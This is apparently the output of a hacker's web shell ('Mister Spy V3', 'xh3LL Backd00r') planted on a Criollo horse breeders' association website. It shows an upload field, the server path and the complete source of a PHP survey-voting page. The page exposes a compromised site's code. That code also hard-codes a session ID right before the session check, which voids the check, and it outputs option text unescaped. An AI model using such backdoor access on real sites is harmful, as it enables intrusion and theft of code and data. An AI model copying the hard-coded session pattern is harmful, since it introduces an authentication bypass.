Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/espanol/
Upload File :
Current File : /home/caballoscriollos/public_html/espanol/encuesta_votar_preguntas.php

<?php

require_once('inc_library.php');

$_SESSION['IdPadronEncuesta'] = 678;
if (!isset($_SESSION['IdPadronEncuesta']) || $_SESSION['IdPadronEncuesta'] == '')
	exit;

$Submit		= (isset($_REQUEST['Submitted'])) ? $_REQUEST['Submitted'] : 0;
$IdEncuesta	= (isset($_REQUEST['IdEncuesta'])) ? intval($_REQUEST['IdEncuesta']) : 0;

$err				= 0;
$IdEncuestaEnvio	= '';
$oEncuestas 		= new Encuestas();
$oEncuestaEnvio		= new EncuestaEnvio();
$oEncuestaEnvios	= new EncuestaEnvios();
$oPreguntaOpciones	= new PreguntaOpciones();

$oEncuesta = $oEncuestas->GetById($IdEncuesta);
if (!$oEncuesta)
	exit();

if ($oEncuesta->Activo == '0')
	exit();

/* obtenemos la ip del usuario */
$Ip = GetRealIp();

/* verificamos si el usuario ya no ha realizado la encuesta */
/*
if ($oEncuestaEnvios->GetByIp(7, $Ip))
	$err += 1;
*/
if ($oEncuestaEnvios->GetByIdUsuario($IdEncuesta, $_SESSION['IdPadronEncuesta']))
	$err += 1;

/*
if ($oEncuesta->IdTipoEncuesta == EncuestaTipos::Personalizada)
{
	$oEncuestaEnvio = $oEncuestaEnvios->GetByCode($Code);
	if (!$oEncuestaEnvio)
		exit();
	
	if ($oEncuestaEnvio->IdEncuesta != 7)
		exit();

	$IdEncuestaEnvio = $oEncuestaEnvio->IdEncuestaEnvio;
	
	if ($oEncuestaEnvio->Estado == '1')
		$err += 1;
}
*/

$oEncuestaPreguntas = $oEncuesta->GetAllPreguntas();
if (!$oEncuestaPreguntas)
{
	if(!headers_sent())
	{
		header('Location: encuesta.php');
		exit;
	}
	else
	{
		exit('<meta http-equiv="refresh" content="0; url=' . urldecode('encuesta.php') . '"/>');
	}
}

?>

<?php Modules::WriteClientFunctions(); ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- InstanceBegin template="/Templates/base_espanol_ventas.dwt.php" codeOutsideHTMLIsLocked="false" -->
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<!-- InstanceBeginEditable name="doctitle" -->
<title>Asociaci&oacute;n Criadores de Caballos Criollos</title>
<!-- InstanceEndEditable -->
<!-- InstanceBeginEditable name="head" -->
<!-- InstanceEndEditable -->
<link href="../css/basico_frontend.css" rel="stylesheet" type="text/css" />
<style type="text/css">
<!--
#Institucional {
	position:absolute;
	width:119px;
	height:33;
	z-index:1;
	left: 456px;
	top: 324px;
	visibility: visible;
}
#SubInstitucional {
	position:absolute;
	width:127;
	height:2px;
	z-index:1;
	top: 39px;
	left: -17px;
}
#Formulario {
	position:absolute;
	width:124;
	height:33;
	z-index:2;
	visibility: visible;
}
#SubFormulario {
	position:absolute;
	width:129;
	height:11px;
	z-index:1;
	top: 22px;
	left: 31px;
	visibility: hidden;
}
#Ranking {
	position:absolute;
	width:168px;
	height:34px;
	z-index:2;
	visibility: visible;
}
#Subranking {
	position:absolute;
	width:129;
	height:115px;
	z-index:1;
	top: 23px;
	left: -6px;
	visibility: hidden;
}
#Clasificatoria {
	position:absolute;
	width:114px;
	height:34px;
	z-index:3;
	visibility: visible;
}
#SubClasificatoria {
	position:absolute;
	width:118px;
	height:115px;
	z-index:4;
	left: 16px;
	top: 23px;
	visibility: hidden;
}
#Premios {
	position:absolute;
	width:79px;
	height:32px;
	z-index:4;
	visibility: visible;
}
#SubPremios {
	position:absolute;
	width:80px;
	height:22px;
	z-index:5;
	top: 23px;
	visibility: hidden;
	left: 13px;
}
#Institucional {
	position:absolute;
	width:236px;
	height:24px;
	z-index:5;
}
#Institucional {
	position:absolute;
	width:200px;
	height:115px;
	z-index:5;
}
#Institucional {
	position:absolute;
	width:200px;
	height:115px;
	z-index:5;
}
#institucional {
	position:absolute;
	width:178;
	height:19;
	z-index:9;
	visibility: visible;
}
#subinstitucional {
	position:absolute;
	width:130px;
	height:115px;
	z-index:1;
	visibility: hidden;
	top: 0px;
	left: 150px;
}
#reglamentos {
	position:absolute;
	width:178;
	height:20;
	z-index:6;
	visibility: visible;
}
#subregalmentos {
	position:absolute;
	width:129px;
	height:115px;
	z-index:7;
	left: 150px;
	top: 0;
	visibility: hidden;
}
#Galeria {
	position:absolute;
	width:237;
	height:19;
	z-index:8;
	visibility: visible;
}
#subGaleria {
	position:absolute;
	width:129;
	height:51px;
	z-index:1;
	left: 170;
	visibility: visible;
	top: 0;
}
#galeria {
	position:absolute;
	width:237;
	height:19;
	z-index:8;
	visibility: visible;
}
#subgaleria {
	position:absolute;
	width:129;
	height:69;
	z-index:1;
}
#Layer1 {
	position:absolute;
	width:200px;
	height:115px;
	z-index:7;
}
#galeria {
	position:absolute;
	width:178;
	height:19;
	z-index:8;
}
#subgaleria {
	position:absolute;
	width:131px;
	height:60;
	z-index:1;
	visibility: hidden;
	left: 150px;
	top: 0px;
}

-->
</style>
<script type="text/JavaScript">
<!--
function MM_findObj(n, d) { //v4.01
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}

function MM_showHideLayers() { //v6.0
  var i,p,v,obj,args=MM_showHideLayers.arguments;
  for (i=0; i<(args.length-2); i+=3) if ((obj=MM_findObj(args[i]))!=null) { v=args[i+2];
    if (obj.style) { obj=obj.style; v=(v=='show')?'visible':(v=='hide')?'hidden':v; }
    obj.visibility=v; }
}
//-->
function Validar()
{
	var CantidadA = 0;
	var CantidadB = 0;
	var CantidadC = 0;
	var frmData = Get('frmData');
	
	var Error 		= false;					
	var strError 	= 'Error - Debe seleccionar un Jurado de cada una de las categorias';

	if (frmData == undefined)
		return false;
	<?php foreach ($oEncuestaPreguntas as $oPregunta){ ?>
		var i 
		var checked_<?=$oPregunta->IdPregunta?> = false;
		for (i=0;i<frmData.Respuesta_<?=$oPregunta->IdPregunta?>.length;i++){ 
			if (frmData.Respuesta_<?=$oPregunta->IdPregunta?>[i].checked) {
				checked_<?=$oPregunta->IdPregunta?> = true;
		    	break; 
			}
		}	
	<?php } ?>
	if (false <?php foreach ($oEncuestaPreguntas as $oPregunta){ ?> || !checked_<?=$oPregunta->IdPregunta?><?php } ?>)
	{
		Error = true;
	}
	
	if (Error)
	{
		alert(strError);
		return false;
	}

	frmData.submit();
}
</script>
<!-- Global site tag (gtag.js) - Google Analytics -->

<script async src="https://www.googletagmanager.com/gtag/js?id=UA-112666274-1"></script>

<script>

  window.dataLayer = window.dataLayer || [];

  function gtag(){dataLayer.push(arguments);}

  gtag('js', new Date());

 

  gtag('config', 'UA-112666274-1');

</script>
</head>

<body>
<div align="center"></div>

<table width="942" border="0" align="center" cellpadding="0" cellspacing="0" class="FondoBlanco">
  <tr>
    <td width="20" valign="top">&nbsp;</td>
    <td width="955" height="5" valign="top"><div align="center"></div></td>
    <td width="20" valign="top">&nbsp;</td>
  </tr>
  <tr>
    <td width="20" valign="top">&nbsp;</td>
    <td width="955" valign="top"><table width="100%" border="0" cellpadding="0" cellspacing="0">
      <tr>
        <td valign="top"><!-- InstanceBeginEditable name="Contenido" -->
		
<form action="encuesta_votar.php" name="frmData" id="frmData" method="post" enctype="application/x-www-form-urlencoded">
<input type="hidden" name="IdEncuesta" id="IdEncuesta" value="<?= $IdEncuesta ?>" />
<input type="hidden" name="Submitted" id="Submitted" value="1" />
<table width="100%" border="0" cellspacing="0" cellpadding="0">
    <tr>
      <td height="25" background="images/accc_fondo_botonera.png"><table width="100%" height="20" border="0" cellpadding="0" cellspacing="0">
        <tr valign="middle">
          <td width="10" height="31">&nbsp;</td>
          <td height="31" class="TituloPrincipal"><?=htmlentities($oEncuesta->Nombre)?></td>
          <td width="10" height="31" class="TituloPrincipal"><div align="right"></div></td>
        </tr>
      </table>              </td>
    </tr>
  <tr>
    <td>&nbsp;</td>
  </tr>
  <tr>
  	<td>
	<table width="100%" border="0" cellpadding="0" cellspacing="0" align="center">
		<tr>
			<td width="10">&nbsp;</td>
			<td>
				<table width="100%" border="0" cellpadding="0" cellspacing="0" class="bordeGris" align="center">					
				<?php 
				foreach ($oEncuestaPreguntas as $oPregunta)
				{
					switch ($oPregunta->IdTipoPregunta)
					{
						case PreguntaTipos::Abierta:
				?>
					<tr>
						<td>
							<div align="center">
								<table width="100%" border="0" cellspacing="0" cellpadding="0">
									<tr>
										<td><b><?=htmlentities($oPregunta->Pregunta)?></b></td>
									</tr>
									<tr>
										<td>
											<table width="100%" border="0" cellspacing="0" cellpadding="0">
												<tr>
													<td width="10">&nbsp;</td>
													<td><textarea name="Respuesta_<?=$oPregunta->IdPregunta?>" id="Respuesta_<?=$oPregunta->IdPregunta?>" cols="50" rows="10" class="camposMultilineGrande"></textarea></td>
												</tr>
											</table>
										</td>
									</tr>
								</table>
							</div>
						</td>
					</tr>
				<?php
						break;

						case PreguntaTipos::Cerrada:
							$oPreguntaOpciones = $oPregunta->GetAllOpciones();
							if (!$oPreguntaOpciones)
								continue;
				?>
					<tr>
						<td>&nbsp;</td>
					</tr>
					<tr>						
						<td>
							<div align="center">
								<table width="100%" border="0" cellspacing="0" cellpadding="0">
									<tr>
										<td width="20">&nbsp;</td>
										<td><b><?=htmlentities($oPregunta->Pregunta)?></b></td>
										<td width="20">&nbsp;</td>
									</tr>
									<tr>
										<td width="20">&nbsp;</td>
										<td>
											<table width="100%" border="0" cellspacing="0" cellpadding="0">
				<?php 
							$Count = 1;
							foreach ($oPreguntaOpciones as $oPreguntaOpcion)
							{
				?>
												<tr height="5">
													<td colspan="3" height="5"></td>
												</tr>
												<tr>
													<td width="10">&nbsp;</td>
													<td width="10">
														<input type="radio" name="Respuesta_<?=$oPregunta->IdPregunta?>" id="Respuesta_<?=$oPregunta->IdPregunta?>" value="<?=$oPreguntaOpcion->IdPreguntaOpcion?>" />
													</td>
													<td><?=$oPreguntaOpcion->Opcion?></td>
												</tr>
				<?php 
								$Count++;
                      
							} 
				?>
											</table>
										</td>
										<td width="20">&nbsp;</td>
									</tr>
								</table>
							</div>
						</td>
					</tr>
					<tr>
						<td>&nbsp;</td>
					</tr>
				<?php
						break;
                  
						case PreguntaTipos::MultipleChoice:
							$oPreguntaOpciones = $oPregunta->GetAllOpciones();
							if (!$oPreguntaOpciones)
								continue;
				?>
					<tr>
						<td>
							<div align="center">
								<table width="100%" border="0" cellspacing="0" cellpadding="0">
									<tr>
										<td><b><?=htmlentities($oPregunta->Pregunta)?> - <span class="error">Debe seleccionar <?=$oPregunta->CantidadRespuestas?> opciones.</span></b></td>
									</tr>
									<tr>
										<td>&nbsp;</td>
									</tr>
									<tr>
										<td>
											<table width="100%" border="0" cellspacing="0" cellpadding="0">
				<?php 
							foreach ($oPreguntaOpciones as $oPreguntaOpcion)
							{
				?>
												<tr>
													<td width="15">&nbsp;</td>
													<td width="10">
														<input type="checkbox" name="Respuesta_<?=$oPregunta->IdPregunta?>[]" id="<?=$oPreguntaOpcion->IdPreguntaOpcion?>" value="<?=$oPreguntaOpcion->IdPreguntaOpcion?>" />
													</td>
													<td><?=$oPreguntaOpcion->Opcion?></td>
												</tr>
				<?php 
							} 
				?>
											</table>
										</td>
									</tr>
								</table>
							</div>
						</td>
					</tr>
					<tr>
						<td>&nbsp;</td>
					</tr>
				<?php
						break;
					
						default:
							break;
  
					}
				?>
					<tr>
						<td height="5"><div align="center"></div></td>
					</tr>
					<tr>
						<td valign="top">
							<table width="100%"  border="0" cellpadding="0" cellspacing="0" class="lineaPuntead">
								<tr>
									<td background="images/linea_punteada_vertical.gif">
										<div align="center"><img src="../images/spacer.gif" width="1" height="1"></div>
									</td>
								</tr>
							</table>
						</td>
                    </tr>					
				<?php 
				}
				?>
				</table>
			</td>
			<td width="10">&nbsp;</td>
		</tr>
		</table>
    </td>
  </tr>
  <tr>
  	<td>
      <table width="100%" border="0" cellpadding="0" cellspacing="0">
        <tr>
          <td height="20"><div align="center"></div></td>
        </tr>
      </table>
		<table width="100%" border="0" cellpadding="0" cellspacing="0">
			<tr>
				<td width="10">&nbsp;</td>
				<td>
					<table align="center" width="100%" class="bordeGrisFondo">
						<tr>			
							<td>
								<table align="center" width="100%">
									<tr>
										<th width="100%" align="center"><input type="button" name="btnEnviar" class="botonBasico" value="Enviar Encuesta" onclick="javascript: Validar();" /></th>
									</tr>
								</table>
							</td>
						</tr>
					</table>
				</td>
				<td width="10">&nbsp;</td>
			</tr>
		</table>
  	
   	</td>
  </tr>
</table>   			
</form>

		<!-- InstanceEndEditable --></td>
        </tr>
    </table></td>
    <td width="20" valign="top">&nbsp;</td>
  </tr>
  <tr>
    <td valign="top">&nbsp;</td>
    <td valign="top">&nbsp;</td>
    <td valign="top">&nbsp;</td>
  </tr>
</table>
<?php include("ssi_pie_ventas.php"); ?>

<script type="text/javascript">

  var _gaq = _gaq || [];
  _gaq.push(['_setAccount', 'UA-25020972-2']);
  _gaq.push(['_trackPageview']);

  (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
  })();

</script>

</body>
<!-- InstanceEnd --></html>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat